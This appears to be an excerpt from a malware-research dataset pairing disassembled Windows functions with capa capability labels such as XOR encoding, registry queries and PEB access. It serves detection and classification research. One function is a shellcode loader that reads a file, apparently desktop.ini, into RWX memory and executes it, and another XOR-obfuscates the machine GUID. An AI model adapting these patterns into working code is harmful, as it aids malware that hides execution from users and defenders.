joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41b42b
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.0040cd19
xor ebx, ebx
cmp dword [0x42c50c], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
jne 0x41b501
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x41b5e1
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x41b5e1
push eax
call fcn.0040ccab
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x42c50c], eax
call esi
push eax
call fcn.0040ccab
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x42c510], eax
call esi
push eax
call fcn.0040ccab
mov dword [0x42c514], eax
lea eax, [ebp - 0xc]
push eax
call fcn.0040d507
test eax, eax
pop ecx
pop ecx
je 0x41b4cf
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0040961e
add esp, 0x14
cmp dword [ebp - 0xc], 2
jne 0x41b501
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.0040ccab
cmp eax, ebx
pop ecx
mov dword [0x42c51c], eax
je 0x41b501
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040ccab
pop ecx
mov dword [0x42c518], eax
mov eax, dword [0x42c518]
mov ecx, dword [ebp - 8]
cmp eax, ecx
je 0x41b586
cmp dword [0x42c51c], ecx
je 0x41b586
push eax
call fcn.0040cd22
push dword [0x42c51c]
mov esi, eax
call fcn.0040cd22
cmp esi, ebx
pop ecx
pop ecx
mov edi, eax
je 0x41b586
cmp edi, ebx
je 0x41b586
call esi
cmp eax, ebx
je 0x41b553
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x41b553
test byte [ebp - 0x18], 1
jne 0x41b586
lea eax, [ebp - 0x10]
push eax
call fcn.0040d53e
test eax, eax
pop ecx
je 0x41b56e
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0040961e
add esp, 0x14
cmp dword [ebp - 0x10], 4
jb 0x41b57d
or dword [ebp + 0x10], 0x200000
jmp 0x41b5c1
or dword [ebp + 0x10], 0x40000
jmp 0x41b5c1
mov eax, dword [0x42c510]
cmp eax, dword [ebp - 8]
je 0x41b5c1
push eax
call fcn.0040cd22
cmp eax, ebx
pop ecx
je 0x41b5c1
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x41b5c1
mov eax, dword [0x42c514]
cmp eax, dword [ebp - 8]
je 0x41b5c1
push eax
call fcn.0040cd22
cmp eax, ebx
pop ecx
je 0x41b5c1
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x42c50c]
call fcn.0040cd22
cmp eax, ebx
pop ecx
je 0x41b5e1
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x41b5e3
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x41eb12
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x42a080]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.0041ea51
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.0040a2d0
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x41eb61
cmp dword [ebp - 0x1c], 5
jb 0x41eb79
jmp 0x41eb75
cmp dword [ebp - 0x10], 1
jne 0x41eb79
cmp dword [ebp - 0x1c], 4
ja 0x41eb75
jne 0x41eb79
cmp dword [ebp - 0x18], 0
jbe 0x41eb79
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x4255c0
call fcn.0041e8e7
test eax, eax
jge 0x41eb9a
mov byte [0x42cbb0], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.004092a8
add ebp, 0x78
leave
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
mov ebx, 0x10003028
xor esi, esi
push edi
cmp ebx, 0x10002034
jne 0x1000116a
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x10002038]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x10001172
push 1
push esi
push esi
push ebx
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x1000203c]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x1000119d
push 0x40
mov eax, 0x1000
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
cmp ax, si
jne 0x100011cb
push 5
pop ecx
mov esi, str.sktop.ini
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
cmp eax, 0xffffffff
je 0x10001222
push esi
push 0x10003020
push 0x1000
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10
Function at 0x401006
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42f004]
jne 0x401010
repz ret
jmp fcn.00401788

Function at 0x405655
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004030b9
and dword [ebp - 4], 0
cmp dword [0x430db0], 0
mov ebx, eax
jne 0x405706
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4057b7
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4057b7
push eax
call fcn.00403047
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x430db0], eax
call esi
push eax
call fcn.00403047
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x430db4], eax
call esi
push eax
call fcn.00403047
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x430db8], eax
call esi
push eax
call fcn.00403047
pop ecx
mov dword [0x430dc0], eax
test eax, eax
je 0x405706
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00403047
pop ecx
mov dword [0x430dbc], eax
mov eax, dword [0x430dbc]
cmp eax, ebx
je 0x40575e
cmp dword [0x430dc0], ebx
je 0x40575e
push eax
call fcn.004030c2
push dword [0x430dc0]
mov esi, eax
call fcn.004030c2
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40575e
test edi, edi
je 0x40575e
call esi
test eax, eax
je 0x405755
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x405755
test byte [ebp - 0xc], 1
jne 0x40575e
or dword [ebp + 0x10], 0x200000
jmp 0x405797
mov eax, dword [0x430db4]
cmp eax, ebx
je 0x405797
push eax
call fcn.004030c2
pop ecx
test eax, eax
je 0x405797
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x405797
mov eax, dword [0x430db8]
cmp eax, ebx
je 0x405797
push eax
call fcn.004030c2
pop ecx
test eax, eax
je 0x405797
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x430db0]
call fcn.004030c2
pop ecx
test eax, eax
je 0x4057b7
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4057b9
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x42c76e
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0x40
push dword [0x43ed24]
push dword [0x43ea40]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
leave
ret

Function at 0x42c7fd
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
xor edi, edi
cmp dword [ebp + 0xc], edi
jle 0x42c827
push esi
and dword [ebp - 4], 0
lea esi, [ebp - 4]
call fcn.0042c7f2
mov eax, dword [ebp + 8]
mov cl, byte [ebp - 4]
add eax, edi
xor byte [eax], cl
inc edi
cmp edi, dword [ebp + 0xc]
jl 0x42c80a
pop esi
cmp dword [ebp + 0xc], 0x2d
pop edi
jne 0x42c83f
or dword [0x43ed34], 0xffffffff
mov dword [0x43ed30], 0xa62e7790
leave
ret
Function at 0x43bc20
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0xc
push ebx
push ebp
push esi
mov esi, dword [esp + 0x1c]
xor eax, eax
push edi
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
mov ecx, dword [esi + 4]
mov dword [esp + 0x18], eax
cmp ecx, 0x7fffffff
ja 0x43bd1b
push ecx
lea ecx, [esp + 0x14]
call fcn.0043b570
test al, al
je 0x43bd17
xor ebp, ebp
lea esp, [esp]
push dword [esp + 0x24]
lea eax, [esp + 0x14]
push eax
push esi
call fcn.0043ad60
add esp, 0xc
test al, al
je 0x43bd17
xor edi, edi
mov bl, 1
cmp dword [esi + 4], edi
jbe 0x43bc99
mov ecx, dword [esi]
mov dl, byte [ecx + edi]
mov al, dl
xor al, bl
mov bl, dl
xor al, 1
mov byte [ecx + edi], al
inc edi
cmp edi, dword [esi + 4]
jb 0x43bc83
push dword [esp + 0x24]
lea eax, [esp + 0x14]
push eax
push esi
call fcn.0043ad60
add esp, 0xc
test al, al
je 0x43bd17
xor edi, edi
mov bl, 1
cmp dword [esi + 4], edi
jbe 0x43bccc
mov ecx, dword [esi]
mov dl, byte [ecx + edi]
mov al, dl
xor al, bl
mov bl, dl
mov byte [ecx + edi], al
inc edi
cmp edi, dword [esi + 4]
jb 0x43bcb8
inc ebp
cmp ebp, 4
jb 0x43bc60
mov ebx, dword [esp + 0x24]
lea eax, [esp + 0x10]
push ebx
push eax
push esi
call fcn.0043ad60
add esp, 0xc
test al, al
je 0x43bd17
push ebx
lea eax, [esp + 0x14]
push eax
push esi
call fcn.0043ad60
add esp, 0xc
test al, al
mov eax, dword [esp + 0x10]
je 0x43bd1b
test eax, eax
je 0x43bd0d
push eax
call fcn.0040bd60
add esp, 4
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 0xc
ret
mov eax, dword [esp + 0x10]
test eax, eax
je 0x43bd28
push eax
call fcn.0040bd60
add esp, 4
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0xc
ret
Function at 0x449680
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x10
push ebx
push esi
mov esi, ecx
push edi
lea edi, [esi + 0x18]
push edi
call fcn.00445f40
lea ebx, [esi + 0x24]
push ebx
call fcn.00445f40
add esp, 8
mov dword [esi + 0x3c], 0
lea eax, [esp + 0xc]
mov dword [esp + 0xc], 0
push eax
push 0x20119
push 0
push str.SoftwareTracker_SoftwareVault
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov eax, dword [esp + 0xc]
test eax, eax
je 0x449740
push dword [esp + 0x20]
mov ecx, esi
push 0
push ebx
push edi
push eax
call fcn.00449340
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 4
push eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x14], 0
push eax
lea eax, [esp + 0x18]
mov dword [esp + 0x20], 2
push eax
push 0
push str.KeyProtectionMode
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x449736
cmp dword [esp + 0x10], 4
jne 0x449736
cmp dword [esp + 0x14], 4
jne 0x449736
mov eax, dword [esp + 0x18]
cmp eax, 2
jae 0x449736
mov dword [esi + 0x3c], eax
push dword [esp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [esi + 0x38], 0
jne 0x44978c
lea eax, [esp + 0xc]
mov dword [esp + 0xc], 0
push eax
push 0x20119
push 0
push str.SoftwareTracker_SoftwareVault
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov eax, dword [esp + 0xc]
test eax, eax
je 0x44978c
push dword [esp + 0x20]
mov ecx, esi
push 1
push ebx
push edi
push eax
call fcn.00449340
push dword [esp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
add esp, 0x10
ret 4
Function at 0x44a430
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x118
mov eax, dword [0x5b3480]
xor eax, esp
mov dword [esp + 0x114], eax
push edi
mov edi, ecx
cmp dword [edi + 0x10], 0
je 0x44a5e1
push ebx
push ebp
lea eax, [esp + 0xc]
mov dword [edi + 0x10], 0
push eax
push 0x20119
xor ebp, ebp
mov dword [esp + 0x14], 0
push ebp
push str.SoftwareMicrosoftCryptography
push reloc.OLEAUT32.dll_SysReAllocString
xor ebx, ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov eax, dword [esp + 0xc]
test eax, eax
je 0x44a4f9
xor ecx, ecx
mov dword [esp + 0x14], 0x80
mov word [esp + 0x1c], cx
mov dword [esp + 0x10], ecx
lea ecx, [esp + 0x14]
push ecx
lea ecx, [esp + 0x20]
push ecx
lea ecx, [esp + 0x18]
push ecx
push ebp
push str.MachineGuid
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x44a4ea
mov eax, dword [esp + 0x10]
cmp eax, 1
je 0x44a4ca
cmp eax, 7
jne 0x44a4ea
push esi
lea esi, [esp + 0x20]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x44a4d2
sub esi, ecx
sar esi, 1
test esi, esi
jg 0x44a562
xor ebx, ebx
xor ebp, ebp
pop esi
mov eax, dword [esp + 0xc]
test eax, eax
je 0x44a4f9
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov dword [edi], eax
mov dword [edi + 4], eax
mov dword [edi + 8], eax
mov dword [edi + 0xc], eax
test ebp, ebp
je 0x44a5b3
test ebx, ebx
mov eax, 0x570fe0
push edi
cmovne eax, ebx
push eax
call dword [sym.imp.RPCRT4.dll_UuidFromStringW]
test eax, eax
jne 0x44a5b3
xor dword [edi], 0x4e7a1eda
mov eax, 0xacd
xor word [edi + 4], ax
mov eax, 0x4bd9
xor word [edi + 6], ax
xor byte [edi + 8], 0xad
xor byte [edi + 9], 0x2e
xor byte [edi + 0xa], 0x59
xor byte [edi + 0xb], 0xf1
xor byte [edi + 0xc], 0x17
xor byte [edi + 0xd], 0x99
xor byte [edi + 0xe], 0x9a
xor byte [edi + 0xf], 0xbb
jmp 0x44a5d2
lea eax, [esi + 1]
cmp eax, 0x3fffffff
ja 0x44a4e9
add eax, eax
push eax
push 0
call fcn.0040be80
mov ebp, eax
add esp, 8
test ebp, ebp
je 0x44a4e7
xor eax, eax
mov dword [esp + 0x1c], esi
mov word [ebp], ax
add esi, esi
push esi
lea eax, [esp + 0x24]
mov ebx, ebp
push eax
push ebp
call fcn.004930c0
add esp, 0xc
xor eax, eax
mov word [esi + ebp], ax
mov ebp, dword [esp + 0x1c]
jmp 0x44a4e9
mov eax, dword [0x578794]
mov dword [edi], eax
mov eax, dword [0x578798]
mov dword [edi + 4], eax
mov eax, dword [0x57879c]
mov dword [edi + 8], eax
mov eax, dword [0x5787a0]
mov dword [edi + 0xc], eax
test ebx, ebx
je 0x44a5df
push ebx
call fcn.0040bd60
add esp, 4
pop ebp
pop ebx
mov ecx, dword [esp + 0x118]
pop edi
xor ecx, esp
call fcn.004913e0
add esp, 0x118
ret
Function at 0x44c650
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x30
mov eax, dword [0x5b3480]
xor eax, esp
mov dword [esp + 0x2c], eax
push ebx
push edi
mov edi, dword [esp + 0x3c]
mov ebx, ecx
mov dword [esp + 0x10], ebx
test edi, edi
je 0x44c826
cmp dword [edi + 0x7c], 0
je 0x44c826
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor eax, eax
mov byte [esp + 0xb], 0
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
lea eax, [esp + 0x24]
push eax
mov byte [esp + 0xd], 0
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
test eax, eax
jne 0x44c6c8
mov dword [esp + 0x14], 0xffffffff
jmp 0x44c6d9
lea eax, [esp + 0x1c]
push eax
call fcn.0044c490
add esp, 4
mov dword [esp + 0x14], eax
mov eax, dword [ebx + 0x18]
mov ecx, dword [ebx + 0x1c]
push ebp
push esi
mov dword [esp + 0x20], eax
lea ecx, [eax + ecx*4]
mov dword [esp + 0x14], ecx
cmp eax, ecx
je 0x44c808
mov edx, ecx
jmp 0x44c700
mov eax, dword [eax]
mov dword [esp + 0x24], eax
mov byte [esp + 0x12], 1
mov ebx, dword [eax + 4]
mov eax, dword [eax + 8]
lea ebp, [ebx + eax*4]
cmp ebx, ebp
je 0x44c7da
lea esp, [esp]
mov edx, dword [ebx]
xor eax, eax
mov esi, dword [edi + 0x7c]
cmp eax, esi
jae 0x44c73d
mov ecx, dword [edi + 0x78]
mov ecx, dword [ecx + eax*4]
cmp ecx, edx
setne byte [esp + 0x12]
inc eax
cmp ecx, edx
jne 0x44c727
cmp byte [esp + 0x12], 0
je 0x44c751
add ebx, 4
cmp ebx, ebp
jne 0x44c720
mov cl, byte [esp + 0x11]
jmp 0x44c78e
mov ecx, edi
call fcn.0043b790
test al, al
je 0x44c76d
mov ecx, edi
call fcn.0043b740
test al, al
jne 0x44c7cd
mov eax, dword [esp + 0x1c]
jmp 0x44c774
mov eax, dword [esp + 0x24]
mov eax, dword [eax + 0x10]
cmp eax, dword [edi + 0xa4]
seta al
test al, al
je 0x44c7cd
cmp byte [esp + 0x13], 0
mov cl, 1
mov byte [esp + 0x11], cl
jne 0x44c7e0
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0x20]
add eax, 4
mov dword [esp + 0x20], eax
cmp eax, edx
jne 0x44c700
test cl, cl
je 0x44c804
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebp
pop edi
mov eax, 1
pop ebx
mov ecx, dword [esp + 0x2c]
xor ecx, esp
call fcn.004913e0
add esp, 0x30
ret 4
mov cl, byte [esp + 0x11]
mov byte [esp + 0x13], 1
test cl, cl
jmp 0x44c78c
mov cl, byte [esp + 0x11]
jmp 0x44c792
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebp
pop edi
mov eax, 2
pop ebx
mov ecx, dword [esp + 0x2c]
xor ecx, esp
call fcn.004913e0
add esp, 0x30
ret 4
mov ebx, dword [esp + 0x18]
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebp
pop edi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x2c]
xor ecx, esp
call fcn.004913e0
add esp, 0x30
ret 4
mov ecx, dword [esp + 0x34]
xor eax, eax
pop edi
pop ebx
xor ecx, esp
call fcn.004913e0
add esp, 0x30
ret 4
Function at 0x458020
Capabilities:
Copy file
Get file attributes
Set file attributes

Disassembly:
push ebp
lea ebp, [esp - 0x120]
sub esp, 0x120
push 0xffffffffffffffff
push 0x569265
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x5b3480]
xor eax, ebp
mov dword [ebp + 0x11c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x18], eax
mov edx, dword [ebp + 0x128]
mov ecx, dword [ebp + 0x138]
mov esi, dword [ebp + 0x12c]
mov ebx, dword [ebp + 0x130]
mov dword [ebp - 0x1c], ecx
test edx, edx
je 0x4581fc
test esi, esi
je 0x4581fc
mov dword [ebp - 0x14], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 0
mov ecx, dword [eax + 0x20]
lea edi, [ebp - 0x14]
push edi
push 0
push 0
mov eax, dword [ecx]
push edx
push ecx
mov byte [ebp - 4], 1
call dword [eax + 0x50]
mov edi, eax
test edi, edi
js 0x4581e8
mov ecx, dword [ebp - 0x18]
lea edx, [ebp - 0x10]
push edx
push 0
push 0
mov ecx, dword [ecx + 0x20]
push esi
push ecx
mov eax, dword [ecx]
call dword [eax + 0x50]
mov edi, eax
test edi, edi
js 0x4581e8
mov eax, dword [ebp - 0x1c]
push 0x100
mov dword [ebp - 0x30], eax
lea eax, [ebp + 0x14]
push 0
push eax
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x34], ebx
mov dword [ebp], 0x11c
mov dword [ebp + 0xc], 0
mov dword [ebp + 0x10], 0
call fcn.00493640
mov esi, dword [sym.imp.KERNEL32.dll_VerSetConditionMask]
add esp, 0xc
xor eax, eax
mov word [ebp + 0x116], ax
mov dword [ebp + 0x118], eax
push 3
push 0x20
push 3
push 1
push 3
push 2
push eax
push eax
call esi
push edx
push eax
call esi
push edx
push eax
call esi
push edx
push eax
push 0x23
lea eax, [ebp]
mov dword [ebp + 4], 6
xor ecx, ecx
mov dword [ebp + 8], 0
push eax
mov word [ebp + 0x114], cx
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
neg eax
sbb eax, eax
and eax, 0x1000
push eax
push 0
lea eax, [ebp - 0x34]
push eax
push 0x455950
push dword [ebp - 0x10]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CopyFileExW]
mov ecx, dword [ebp - 0x2c]
mov esi, eax
or ecx, dword [ebp - 0x28]
je 0x4581b1
test ebx, ebx
je 0x4581b1
mov ecx, dword [ebx]
push ebx
call dword [ecx + 0x10]
test esi, esi
jne 0x4581cc
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
test edi, edi
jle 0x4581e8
movzx edi, di
or edi, 0x80070000
jmp 0x4581e8
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
test al, 1
je 0x4581e6
and eax, 0xfffffffe
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
xor edi, edi
push dword [ebp - 0x10]
mov esi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
call esi
push dword [ebp - 0x14]
call esi
mov eax, edi
jmp 0x458201
mov eax, 0x80070057
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x11c]
xor ecx, ebp
call fcn.004913e0
lea esp, [ebp + 0x120]
pop ebp
ret 0x14
Function at 0x45e2e0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x569720
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x5b3480]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [esi + 4], 0
lea eax, [esi + 0x30]
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov dword [esi], fcn.0045c000
mov dword [esi + 0x10], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
push 0xfa0
mov dword [esi + 0x28], 0
push eax
mov dword [esi + 0x2c], 0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSectionAndSpinCount]
test eax, eax
je 0x45e37a
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
call fcn.0049577f
int3
Function at 0x476e10
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x56aec5
mov eax, dword fs:[0]
push eax
sub esp, 8
push esi
push edi
mov eax, dword [0x5b3480]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
mov dword [edi], 0x58477c
mov dword [edi + 4], 0
mov dword [edi + 8], 0
mov dword [edi + 0xc], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
mov dword [edi + 0x18], 0
mov byte [edi + 0x28], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x30], 0
mov dword [edi + 0x40], 0
mov dword [edi + 0x44], 0
mov dword [edi + 0x48], 0
push 0x58
lea esi, [edi + 0x4c]
mov dword [edi + 0xa4], 1
push 0
push esi
call fcn.00493640
mov dword [esi], 0x58
lea edx, [edi + 0x2a8]
mov dword [edi + 0x68], edx
lea ecx, [edi + 0xa8]
mov dword [edi + 0x6c], 0x104
add esp, 0xc
mov dword [edi + 0x70], ecx
mov dword [edi + 0x74], 0x100
mov dword [edi + 0x80], 0x880026
mov dword [edi + 0x58], 0
mov eax, dword [0x5b5e3c]
mov dword [edi + 0x54], eax
xor eax, eax
mov word [edx], ax
mov word [ecx], ax
mov dword [edi + 0x90], 0x464a40
mov dword [edi + 0x50], 0
mov dword [edi], 0x584848
mov dword [edi + 0x2c], 0x584854
mov dword [edi + 0x4b0], eax
mov dword [edi + 0x4b4], eax
mov dword [edi + 0x4b8], eax
mov dword [edi + 0x4bc], eax
mov dword [edi + 0x4c0], eax
mov dword [edi + 0x4c4], eax
mov dword [edi + 0x4c8], eax
mov dword [edi + 0x4cc], eax
mov dword [edi + 0x4d0], eax
mov dword [edi + 0x4d8], eax
mov dword [edi + 0x4dc], eax
mov dword [edi + 0x4e0], eax
mov dword [edi + 0x4e4], eax
mov dword [edi + 0x4d4], eax
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x47de70
Capabilities:
Encode data using xor
Generate random numbers using the delphi lcg

Disassembly:
push ebp
mov ebp, dword [esp + 0xc]
push edi
xor edi, edi
test ebp, ebp
je 0x47dee1
push ebx
push esi
mov edi, edi
movzx eax, word [ecx + 0xc]
mov edx, dword [ecx + 4]
or eax, 2
mov esi, dword [ecx]
mov ebx, eax
xor ebx, 1
imul ebx, eax
mov eax, dword [esp + 0x14]
shr ebx, 8
xor bl, byte [eax + edi]
movzx eax, bl
xor eax, edx
shr edx, 8
movzx eax, al
xor edx, dword [esi + eax*4]
movzx eax, dl
add eax, dword [ecx + 8]
imul eax, eax, 0x8088405
mov dword [ecx + 4], edx
mov edx, dword [ecx + 0xc]
inc eax
mov dword [ecx + 8], eax
shr eax, 0x18
xor eax, edx
shr edx, 8
movzx eax, al
xor edx, dword [esi + eax*4]
mov eax, dword [esp + 0x14]
mov dword [ecx + 0xc], edx
mov byte [eax + edi], bl
inc edi
cmp edi, ebp
jb 0x47de80
pop esi
pop ebx
pop edi
mov eax, 1
pop ebp
ret 8